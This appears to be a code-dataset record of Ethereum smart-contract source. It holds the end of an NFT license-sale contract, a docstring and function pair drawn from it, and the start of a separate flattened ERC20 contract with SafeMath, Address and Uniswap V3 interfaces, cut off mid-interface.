tokenReceiverResponse = ERC721TokenReceiver(_to).onERC721Received.gas(50000)( _from, _tokenId, _data ); require(tokenReceiverResponse == bytes4(keccak256("onERC721Received(address,uint256,bytes)"))); } } /* * @notice Transfers the ownership of an NFT from one address to another address * @dev This works identically to the other function with an extra data parameter, * except this function just sets data to "" * @param _from The current owner of the NFT * @param _to The new owner * @param _tokenId The NFT to transfer */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { safeTransferFrom(_from, _to, _tokenId, ""); } /** * @notice Mint token function * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); _addToken(_to, _tokenId); Transfer(0x0, _to, _tokenId); } /** * @notice Internal function to clear current approval and transfer the ownership of a given token ID * @param _from address which you want to send tokens from * @param _to address which you want to transfer the token to * @param _tokenId uint256 ID of the token to be transferred */ function _clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal { require(_to != address(0)); require(_to != ownerOf(_tokenId)); require(ownerOf(_tokenId) == _from); require(_isValidLicense(_tokenId)); _clearApproval(_from, _tokenId); _removeToken(_from, _tokenId); _addToken(_to, _tokenId); Transfer(_from, _to, _tokenId); } /** * @notice Internal function to clear current approval of a given token ID * @param _tokenId uint256 ID of the token to be transferred */ function _clearApproval(address _owner, uint256 _tokenId) private { require(ownerOf(_tokenId) == _owner); tokenApprovals[_tokenId] = 0; Approval(_owner, 0, _tokenId); } /** * @notice Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addToken(address _to, uint256 _tokenId) private { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; uint256 length = balanceOf(_to); ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; totalTokens = totalTokens.add(1); } /** * @notice Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeToken(address _from, uint256 _tokenId) private { require(ownerOf(_tokenId) == _from); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = balanceOf(_from).sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; tokenOwner[_tokenId] = 0; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; totalTokens = totalTokens.sub(1); } function _isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } } contract LicenseSale is LicenseOwnership { AffiliateProgram public affiliateProgram; /** * @notice We credit affiliates for renewals that occur within this time of * original purchase. E.g. If this is set to 1 year, and someone subscribes to * a monthly plan, the affiliate will receive credits for that whole year, as * the user renews their plan */ uint256 public renewalsCreditAffiliatesFor = 1 years; /** internal **/ function _performPurchase( uint256 _productId, uint256 _numCycles, address _assignee, uint256 _attributes, address _affiliate) internal returns (uint) { _purchaseOneUnitInStock(_productId); return _createLicense( _productId, _numCycles, _assignee, _attributes, _affiliate ); } function _createLicense( uint256 _productId, uint256 _numCycles, address _assignee, uint256 _attributes, address _affiliate) internal returns (uint) { // You cannot create a subscription license with zero cycles if(isSubscriptionProduct(_productId)) { require(_numCycles != 0); } // Non-subscription products have an expiration time of 0, meaning "no-expiration" uint256 expirationTime = isSubscriptionProduct(_productId) ? now.add(intervalOf(_productId).mul(_numCycles)) : // solium-disable-line security/no-block-members 0; License memory _license = License({ productId: _productId, attributes: _attributes, issuedTime: now, // solium-disable-line security/no-block-members expirationTime: expirationTime, affiliate: _affiliate }); uint256 newLicenseId = licenses.push(_license) - 1; // solium-disable-line zeppelin/no-arithmetic-operations LicenseIssued( _assignee, msg.sender, newLicenseId, _license.productId, _license.attributes, _license.issuedTime, _license.expirationTime, _license.affiliate); _mint(_assignee, newLicenseId); return newLicenseId; } function _handleAffiliate( address _affiliate, uint256 _productId, uint256 _licenseId, uint256 _purchaseAmount) internal { uint256 affiliateCut = affiliateProgram.cutFor( _affiliate, _productId, _licenseId, _purchaseAmount); if(affiliateCut > 0) { require(affiliateCut < _purchaseAmount); affiliateProgram.credit.value(affiliateCut)(_affiliate, _licenseId); } } function _performRenewal(uint256 _tokenId, uint256 _numCycles) internal { // You cannot renew a non-expiring license // ... but in what scenario can this happen? // require(licenses[_tokenId].expirationTime != 0); uint256 productId = licenseProductId(_tokenId); // If our expiration is in the future, renewing adds time to that future expiration // If our expiration has passed already, then we use `now` as the base. uint256 renewalBaseTime = Math.max256(now, licenses[_tokenId].expirationTime); // We assume that the payment has been validated outside of this function uint256 newExpirationTime = renewalBaseTime.add(intervalOf(productId).mul(_numCycles)); licenses[_tokenId].expirationTime = newExpirationTime; LicenseRenewal( ownerOf(_tokenId), msg.sender, _tokenId, productId, newExpirationTime ); } function _affiliateProgramIsActive() internal view returns (bool) { return affiliateProgram != address(0) && affiliateProgram.storeAddress() == address(this) && !affiliateProgram.paused(); } /** executives **/ function setAffiliateProgramAddress(address _address) external onlyCEO { AffiliateProgram candidateContract = AffiliateProgram(_address); require(candidateContract.isAffiliateProgram()); affiliateProgram = candidateContract; } function setRenewalsCreditAffiliatesFor(uint256 _newTime) external onlyCEO { renewalsCreditAffiliatesFor = _newTime; } function createPromotionalPurchase( uint256 _productId, uint256 _numCycles, address _assignee, uint256 _attributes ) external onlyCEOOrCOO whenNotPaused returns (uint256) { return _performPurchase( _productId, _numCycles, _assignee, _attributes, address(0)); } function createPromotionalRenewal( uint256 _tokenId, uint256 _numCycles ) external onlyCEOOrCOO whenNotPaused { uint256 productId = licenseProductId(_tokenId); _requireRenewableProduct(productId); return _performRenewal(_tokenId, _numCycles); } /** anyone **/ /** * @notice Makes a purchase of a product. * @dev Requires that the value sent is exactly the price of the product * @param _productId - the product to purchase * @param _numCycles - the number of cycles being purchased. This number should be `1` for non-subscription products and the number of cycles for subscriptions. * @param _assignee - the address to assign the purchase to (doesn't have to be msg.sender) * @param _affiliate - the address to of the affiliate - use address(0) if none */ function purchase( uint256 _productId, uint256 _numCycles, address _assignee, address _affiliate ) external payable whenNotPaused returns (uint256) { require(_productId != 0); require(_numCycles != 0); require(_assignee != address(0)); // msg.value can be zero: free products are supported // Don't bother dealing with excess payments. Ensure the price paid is // accurate. No more, no less. require(msg.value == costForProductCycles(_productId, _numCycles)); // Non-subscription products should send a _numCycle of 1 -- you can't buy a // multiple quantity of a non-subscription product with this function if(!isSubscriptionProduct(_productId)) { require(_numCycles == 1); } // this can, of course, be gamed by malicious miners. But it's adequate for our application // Feel free to add your own strategies for product attributes // solium-disable-next-line security/no-block-members, zeppelin/no-arithmetic-operations uint256 attributes = uint256(keccak256(block.blockhash(block.number-1)))^_productId^(uint256(_assignee)); uint256 licenseId = _performPurchase( _productId, _numCycles, _assignee, attributes, _affiliate); if( priceOf(_productId) > 0 && _affiliate != address(0) && _affiliateProgramIsActive() ) { _handleAffiliate( _affiliate, _productId, licenseId, msg.value); } return licenseId; } /** * @notice Renews a subscription */ function renew( uint256 _tokenId, uint256 _numCycles ) external payable whenNotPaused { require(_numCycles != 0); require(ownerOf(_tokenId) != address(0)); uint256 productId = licenseProductId(_tokenId); _requireRenewableProduct(productId); // No excess payments. Ensure the price paid is exactly accurate. No more, // no less. uint256 renewalCost = costForProductCycles(productId, _numCycles); require(msg.value == renewalCost); _performRenewal(_tokenId, _numCycles); if( renewalCost > 0 && licenseAffiliate(_tokenId) != address(0) && _affiliateProgramIsActive() && licenseIssuedTime(_tokenId).add(renewalsCreditAffiliatesFor) > now ) { _handleAffiliate( licenseAffiliate(_tokenId), productId, _tokenId, msg.value); } } } contract LicenseCore is LicenseSale { address public newContractAddress; function LicenseCore() public { paused = true; ceoAddress = msg.sender; cooAddress = msg.sender; cfoAddress = msg.sender; withdrawalAddress = msg.sender; } function setNewAddress(address _v2Address) external onlyCEO whenPaused { newContractAddress = _v2Address; ContractUpgrade(_v2Address); } function() external { assert(false); } function unpause() public onlyCEO whenPaused { require(newContractAddress == address(0)); super.unpause(); } } library Strings { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint i) internal pure returns (string) { if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } }
Transfers the ownership of an NFT from one address to another address This works identically to the other function with an extra data parameter, except this function just sets data to "" _from The current owner of the NFT _to The new owner _tokenId The NFT to transfer/
function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { safeTransferFrom(_from, _to, _tokenId, ""); }
478,492
/** *Submitted for verification at Etherscan.io on 2022-03-31 */ // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.8.0; // Sources flattened with hardhat v2.8.4 https://hardhat.org // File contracts/Math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File contracts/Common/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/Utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File contracts/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory __name, string memory __symbol) public { _name = __name; _symbol = __symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File contracts/Oracle/AggregatorV3Interface.sol interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File contracts/Uniswap_V3/pool/IUniswapV3PoolImmutables.sol /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // File contracts/Uniswap_V3/pool/IUniswapV3PoolState.sol /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency 